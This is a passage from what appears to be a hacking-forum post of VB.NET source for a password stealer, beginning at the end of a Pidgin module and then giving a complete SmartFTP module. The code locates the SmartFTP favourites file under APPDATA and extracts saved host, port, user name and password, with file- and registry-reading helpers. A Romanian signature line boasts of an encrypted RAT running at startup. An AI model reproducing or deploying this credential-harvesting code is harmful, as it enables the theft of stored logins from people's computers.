Form1.ztext.AppendText("Pidgin Not Installed!") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) End Try End If End Function End Module 14.SmartFTP Module SmartFTP Function SmartFTP() As String Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml") Dim sFile As String = ReadFile(sPath) Dim sHost As String = Cut(sFile, "<Host>", "</Host>") Dim sPort As String = Cut(sFile, "<Port>", "</Port>") Dim sUser As String = Cut(sFile, "<User>", "</User>") Dim sPwd As String = Cut(sFile, "<Password>", "</Password>") Dim sEntry As String = Cut(sFile, "<Name>", "</Name>") If Not sUser = "" Then Try SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============SmartFTP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============SmartFTP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End Function Function ReadFile(ByVal sFile As String) As String On Error Resume Next Dim OpenFile As New System.IO.StreamReader(sFile) ReadFile = OpenFile.ReadToEnd.ToString End Function Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String On Error Resume Next Dim c() As String Dim c2() As String c = Split(sInhalt, sText) c2 = Split(c(1), stext2) Cut = c2(0) End Function Function RegRead(ByVal hKey As String) As String Dim wshShell As Object = CreateObject("WScript.Shell") On Error Resume Next RegRead = wshShell.RegRead(hKey) End Function Public Function ReadLine(ByVal filename As String, _ ByVal line As Integer) As String Try Dim lines As String() = My.Computer.FileSystem.ReadAllText( _ filename, System.Text.Encoding.Default).Split(vbCrLf) If line > 0 Then Return lines(line - 1) ElseIf line < 0 Then Return lines(lines.Length + line - 1) Else Return "" End If Catch ex As Exception Return "" End Try End Function End Module
Singurul antivirus perfect este experienta , degeaba ai "nustiuce - Internet Security 2013 " cat timp iti ruleaza RAT-ul criptat in startup.